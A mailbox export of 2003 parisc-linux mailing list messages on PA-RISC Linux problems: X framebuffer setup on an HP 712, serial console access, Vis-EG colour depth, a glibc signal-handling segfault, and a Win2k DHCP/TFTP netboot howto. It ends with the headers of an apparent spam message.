List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19488

--hPgXaKTTpTvPowxx
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-09-11 23:30:49 -0600, Grant Grundler <grundler@parisc-linux.or=
g>
wrote in message <20030912053049.GA20242@dsl2.external.hp.com>:
> On Thu, Sep 11, 2003 at 06:36:46PM -0700, Thomson Family wrote:

> > I've loaded Debian's Woody on my 712 and everything seems to be=20
> > working fine, but I'm unable to get X up and running.  I can't seem=20
> > to find any info on doing so. Ultimately I get "Screen/ScreenInit=20
> > failed for driver 0" when I run startx. I've noticed that when things=
=20
> > work fine for other folks, there isn't much posted on the web.
>=20
> You might also look at ftp://ftp.parisc-linux.org/kernels/712/
> and try out the XF86Config files there.

Basically, you need a kernel with STI framebuffer support and configure
XFree to use the fremebuffer driver. Mouse and keyboard are standard
PS/2 components so there's no problem, too. If your colors are totally
wrong, place 'Visual "TrueColor"' into the "Display" subsection of your
"Screen" section. Pay attention to your screen resolution and color
depth - they have to exactly match to what you get on boot-up since
there's no support to switch to another resolution/depth right now IIRC.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--hPgXaKTTpTvPowxx
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/YWIBHb1edYOZ4bsRAvXkAJ0UFJR+HAm/D5oCZoa6oh46upR21QCfS9sA
IpqEUQXsr98xuz6ZlLWLPYI=
=99+E
-----END PGP SIGNATURE-----

--hPgXaKTTpTvPowxx--


From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: northern snowfall <dbailey27@ameritech.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 3BNC Monitor + HIL Keyboard
Date: Fri, 12 Sep 2003 02:26:57 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <3F617541.8010209@ameritech.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622770 30838 80.91.229.3 (22 Nov 2014 02:19:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 12 00:27:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp808.mail.sc5.yahoo.com (smtp808.mail.sc5.yahoo.com [66.163.168.187])
	by dsl2.external.hp.com (Postfix) with SMTP id 5E8CD4830
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Sep 2003 00:27:09 -0600 (MDT)
Original-Received: from adsl-68-21-32-231.dsl.sfldmi.ameritech.net (HELO ameritech.net) (dbailey27@ameritech.net@68.21.32.231 with plain)
  by smtp-sbc-v1.mail.vip.sc5.yahoo.com with SMTP; 12 Sep 2003 06:27:08 -0000
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) Gecko/20020518 Netscape6/6.2.3
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19489

Hi, all

    I recently bought a PA-RISC 1.1 Apollo 9000/735 workstation
from UMich dispo. I couldn't pass up on the low low price ;-).
However, I'm stuck in Graphics mode because I do not have access
to the 3BNC Monitor or a HIL keyboard to get access to the PROM.

    If anyone is in the UMich-Ann Arbor area and wants to help me
set this thing into serial console mode, I'd appreciate it. I've
contacted CAEN and am awaiting response. Email me privately to
negotiate a time and neutral location on campus.

Don

http://www.7f.no-ip.com/~north_

FAI the web site is down while i recode the NetBSD kernel.




From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Weissmann <paul@doorslam.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 3BNC Monitor + HIL Keyboard
Date: Fri, 12 Sep 2003 10:50:45 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20030912085045.GD28970@blinder.doorslam.net>
References: <3F617541.8010209@ameritech.net>
Reply-To: paul@doorslam.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622770 30841 80.91.229.3 (22 Nov 2014 02:19:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: northern snowfall <dbailey27@ameritech.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 12 02:50:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from doorslam.net (port-212-202-169-196.reverse.qdsl-home.de [212.202.169.196])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EF624830
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Sep 2003 02:50:57 -0600 (MDT)
Original-Received: from blinder.doorslam.net (localhost [127.0.0.1])
	by doorslam.net (8.12.6/8.12.2) with ESMTP id h8C8oqnH031968
	(version=TLSv1/SSLv3 cipher=DHE-DSS-AES256-SHA bits=256 verify=NO);
	Fri, 12 Sep 2003 10:50:53 +0200 (CEST)
Original-Received: (from paul@localhost)
	by blinder.doorslam.net (8.12.6/8.12.1/Submit) id h8C8okHY028711;
	Fri, 12 Sep 2003 10:50:46 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3F617541.8010209@ameritech.net>
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19490

northern snowfall [dbailey27@ameritech.net] wrote:
> Hi, all
> 
>    I recently bought a PA-RISC 1.1 Apollo 9000/735 workstation
> from UMich dispo. I couldn't pass up on the low low price ;-).
> However, I'm stuck in Graphics mode because I do not have access
> to the 3BNC Monitor or a HIL keyboard to get access to the PROM.

pulling the framebuffer out of the sgc-slot should result in console 
on the first serial-port.


        - paul

-- 
   zwei jaeger treffen sich. beide tot.


From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: northern snowfall <dbailey27@ameritech.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 3BNC Monitor + HIL Keyboard
Date: Fri, 12 Sep 2003 05:30:41 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <3F61A051.3040807@ameritech.net>
References: <3F617541.8010209@ameritech.net> <20030912085045.GD28970@blinder.doorslam.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622771 30846 80.91.229.3 (22 Nov 2014 02:19:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: paul@doorslam.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 12 03:30:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp805.mail.sc5.yahoo.com (smtp805.mail.sc5.yahoo.com [66.163.168.184])
	by dsl2.external.hp.com (Postfix) with SMTP id E47A34830
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Sep 2003 03:30:53 -0600 (MDT)
Original-Received: from adsl-68-21-32-231.dsl.sfldmi.ameritech.net (HELO ameritech.net) (dbailey27@ameritech.net@68.21.32.231 with plain)
  by smtp-sbc-v1.mail.vip.sc5.yahoo.com with SMTP; 12 Sep 2003 09:30:53 -0000
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4.1) Gecko/20020518 Netscape6/6.2.3
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19491

>
>
>pulling the framebuffer out of the sgc-slot should result in console 
>on the first serial-port.
>

Dude, I read through the service manual and did *not* see that tip
anywhere. I tried the usual Sun style keyboardless-serial console
technique, which failed. This, however, worked on the first try.

If you're ever in the Ann Arbor, Michigan area and you'd like
someone to buy you a pint, let me know.

Don

http://www.7f.no-ip.com/~north_

FAI the web site is down while i recode the NetBSD kernel.





From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Looking for info on getting X running on my 712
Date: Fri, 12 Sep 2003 14:57:19 -0400 (EDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <200309121857.h8CIvJf7014048@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622771 30851 80.91.229.3 (22 Nov 2014 02:19:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:31 +0000 (UTC)
Cc: jbglaw@lug-owl.de
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 12 12:57:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04D964830
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Sep 2003 12:57:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h8CIvKWr014050;
	Fri, 12 Sep 2003 14:57:20 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h8CIvJf7014048;
	Fri, 12 Sep 2003 14:57:19 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19492

> Basically, you need a kernel with STI framebuffer support and configure
> XFree to use the fremebuffer driver. Mouse and keyboard are standard
> PS/2 components so there's no problem, too. If your colors are totally
> wrong, place 'Visual "TrueColor"' into the "Display" subsection of your
> "Screen" section. Pay attention to your screen resolution and color
> depth - they have to exactly match to what you get on boot-up since
> there's no support to switch to another resolution/depth right now IIRC.

Does this mean that's there is no way to run with a 24 bit depth
on a Vis-EG?  I have been playing with this but I haven't had any luck.
There doesn't seem to be any way to change the depth from 8 bpp on a
c3k using the PDC (there is user defined parameter set but it's not
clear how it can be set other than possibly with sam under hpux).  I
tried "stifb=bpp32:" but this didn't have any effect on the reported
1280x1024-8 config in dmesg:

STI GSC/PCI graphics driver version 0.9
STI PCI graphic ROM found at f6000000 (64 kB), fb at f8000000 (32 MB)
STI word mode ROM at f6000044, hpa at f8000000
STI id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
STI device: PCI_GRAFFITIX1280
STI PCI graphic ROM found at f7000000 (2048 kB), fb at fa000000 (32 MB)
STI word mode ROM at f7000044, hpa at fa000000
STI id 35acda30-9a02587, conforms to spec rev. 8.0d
STI device: A1262A
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio: 0xf8100000
stifb: Unsupported gfx card id 0x35acda30

The linux config has

CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB32=y
CONFIG_FBCON_STI=y

Oh, I've one other X config problem.  The usb mouse stops responding
at logout from kde.  If I restart the X server with <alt>E, functionality
is restored.  I don't believe that this is a kde problem.  Anybody have
a solution?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Signal handlers in glibc 2.3.2
Date: Fri, 12 Sep 2003 17:00:51 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <20030912210051.GL4732@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622771 30862 80.91.229.3 (22 Nov 2014 02:19:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>,
	Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 12 15:02:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C0004830
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Sep 2003 15:02:37 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19xv2C-00023Y-00; Fri, 12 Sep 2003 17:00:52 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (66% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19493

tausq, jejb,

Another tall order, and I'm calling for help on this one. The recently
fixed glibc seems to be having issues with restarting after being
interrupted.

Latest glibc 2.3.2 patches are here:
http://www.baldric.uwo.ca/~carlos/glibc-2.3.2-patches.tar.gz
Broken test is distilled here:
http://www.baldric.uwo.ca/~carlos/tst-timer.tar.gz

The test does very very little. We setup a timer to call a signal
handler after a 2 second expiry, then we proceed to call nanosleep with
a 3 second expiry.

./run.sh ./tst-timer
Before nanosleep(...) call
Signal handler
./run.sh: line 3:  5500 Segmentation fault

You see that we enter nanosleep, enter the kernel, sleep, event timer
expires and raises signal, signal handler runs.

At this point the following is supposed to happen:
Branch back to stack and make another syscall into the kernel
(trampoline we put there to make it back to rt_sigreturn, see signal.c).
...
At this point I'm a bit confused by the semantics, would one of you care
to help me understand what happens from there back to userspace. I know
we eventually have to get back to where nanosleep was called (since it
was interrupted and now needs to be restarted).
...
So we enter the syscall code in syscall.S execute syscall 173 which
jumps to 'sys_rt_sigreturn' in signal.c. From here we unwind the stack
to get an rt_sigframe structure (which I assume was written into the
stack before calling the signal handler). Take the current signal set
from there and recalc pending signals. Then there is a bit of magic to
restore the current stack pointer, which seems to me is where the
problem lies since frame->uc.uc_mcontext on a 64-bit box probably won't
be right because we copied it wrong. There are a few other things that
might be wrong too, but this is a start. I'm enabling signal debugging
and building a new kernel. I assume that the sigsegv is caused by the
kernel trying to __copy_from_user something invalid.

Any thoughts or comments would be more than appreciated.

Cheers,
Carlos.



From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Win2k server boot howto
Date: Fri, 12 Sep 2003 16:43:28 -0700 (PDT)
Lines: 73
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.50.0309121543430.11075-100000__8813.62508885122$1416622772$gmane$org@ssh.apptechsys.com>
References: <010d01c36e5d$9d0748a0$0201a8c0@mainframe>
 <Pine.LNX.4.50.0308291612160.11075-100000@ssh.apptechsys.com>
 <20030830021622.GF13467@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622772 30867 80.91.229.3 (22 Nov 2014 02:19:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:32 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 12 17:43:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [206.129.116.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 846BC4830
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Sep 2003 17:43:41 -0600 (MDT)
Original-Received: from ssh.apptechsys.com (unknown [206.129.116.141])
	by mail.apptechsys.com (Postfix) with ESMTP
	id B9C4C7BC28; Fri, 12 Sep 2003 16:43:40 -0700 (PDT)
In-Reply-To: <20030830021622.GF13467@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19494

This is about using the dhcp server in win2k server to net boot a parisc 
box.

On Sat, 30 Aug 2003, Matthew Wilcox wrote:

> On Fri, Aug 29, 2003 at 04:14:04PM -0700, Jeremy Drake wrote:
> > I have done it with the DHCP server that comes with win2k server.
> 
> I think this might be useful information for the FAQ.  Could you write
> it up?

Here is my first attempt at writing this up.  Please send your
criticisms/spelling fixes/flames.

------------------------------

I used Tftpd from http://tftpd32.jounin.net/ (which, in an unrelated side
note, was used as part of the blaster worm, according to the site).  I
used the dhcp server which is a part of win2k server (Control Panel,
Add/remove programs, Windows components, Networking Services, Dynamic Host
Configuration Protocol (DHCP)).

First, lets ask the box what its mac address is.  I'm assuming you have a
functional console.  Power on the box, and when it says "press any key to"  
whatever press any key, and at the BOOT_ADMIN> prompt, type "in la" and
hit enter.  (For those of you who like to type, that's short for
information lan).  It will give you a hex number which is your
workstation's mac address.

Start up the DHCP admin tool (Start, Settings, Control Panel, Admin.  
Tools, DHCP).  Expand your server in the tree, and right click on
Reservations.  Select "New Reservation...".  For reservation name, I put
my box's name.  Give it an ip address that is not used in IP address, and
enter the box's mac address in mac address (no delimiters, just a big hex
number), and select Both for whether it should be bootp or dhcp.  Then,
find your new reservation at the bottom of the list under Reservations,
and click it.  Right click and choose "Configure Options..."  It should
have inherited your server's default options, so I won't cover setting
router, dns, wins, and lease length.  Scroll down the list of options
until you get to 066, Boot Server Host Name.  Check the box next to that
option, and enter your tftp server's ip address (I don't trust dns to work
in IPL).  Also check 067, Bootfile Name, and enter the name of the
lifimage (generally, lifimage is a good choice here).  Say ok to that box,
we're done in dhcp!

Fire up tftpd32, and click the "browse" button.  Browse to where you put
your lifimage, and say ok.  Make sure the ip address below the directory
is the right one; if not, drop down the list and pick the right one.  
Leave this app up, the server only runs when the gui is displayed (not
sure if you can run it as a service)

Now we're ready to boot the box.  Go back to the box, get the BOOT_ADMIN>
prompt again (if you turned it off after the first time, or type "ma" for
the main menu if you didn't).  Type "sea" (for search), and if everything
is good, you should see something like "P0 LAN.<BLAH>".  If you do,
congrats, if not, check all of the settings on the server (like, you
recorded and typed the mac address correctly, and your dhcp server is on
the same physical network segment as your workstation).  If it shows a
line like the above, enter "bo p0" (or whichever p number the LAN was by).  
Anything beyond this point belongs to an install howto more than a win2k
server boot howto...

--------------------------------




-- 
Computers make excellent and efficient servants, but I have no wish to
serve under them.  Captain, a starship also runs on loyalty to one
man.  And nothing can replace it or him.
		-- Spock, "The Ultimate Computer", stardate 4729.4


From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Looking for info on getting X running on my 712
Date: Fri, 12 Sep 2003 20:48:08 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20030913024808.GA15109@dsl2.external.hp.com>
References: <200309121857.h8CIvJf7014048@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622772 30869 80.91.229.3 (22 Nov 2014 02:19:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, jbglaw@lug-owl.de
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 12 20:48:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BC1774830; Fri, 12 Sep 2003 20:48:08 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200309121857.h8CIvJf7014048@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19495

On Fri, Sep 12, 2003 at 02:57:19PM -0400, John David Anglin wrote:
> Does this mean that's there is no way to run with a 24 bit depth
> on a Vis-EG?

that's correct. Vis-EG only supports 8-bit color.
We could get 24-bit color if we could get FX-E cards working but
they suffer the same lack of support as FX-[246] cards.

I've switched to using "TrueColor" until Xf86 "render" module
stops hogging most of the colormap. Regular text modes are fine.
Image quality does suffer though.

BTW, Vis-EG on C3k does support 1600x1200 if you multi-sync monitor
can handle it. Most LCD displays can not.

...
> Oh, I've one other X config problem.  The usb mouse stops responding
> at logout from kde.  If I restart the X server with <alt>E, functionality
> is restored.  I don't believe that this is a kde problem.  Anybody have
> a solution?

This is an old problem. First mention of it was several years ago.
More recently (Sept 2002) there's a whole thread on it starting with:
    http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017724.html

Work around is to switch to VT1 (ctl-alt-F1) and then back to the
FB VT (ctl-alt-F2 in my case).

grant


From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: prince mabaka <princmabak@netscape.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] URGENT/ASAP NOTIFICATION.
Date: Sat, 13 Sep 2003 21:08:52 +0200
Lines: 111
Approved: news@gmane.org
Message-ID: <20030913190835.C85A3CE4@cuprel1.hp.com>
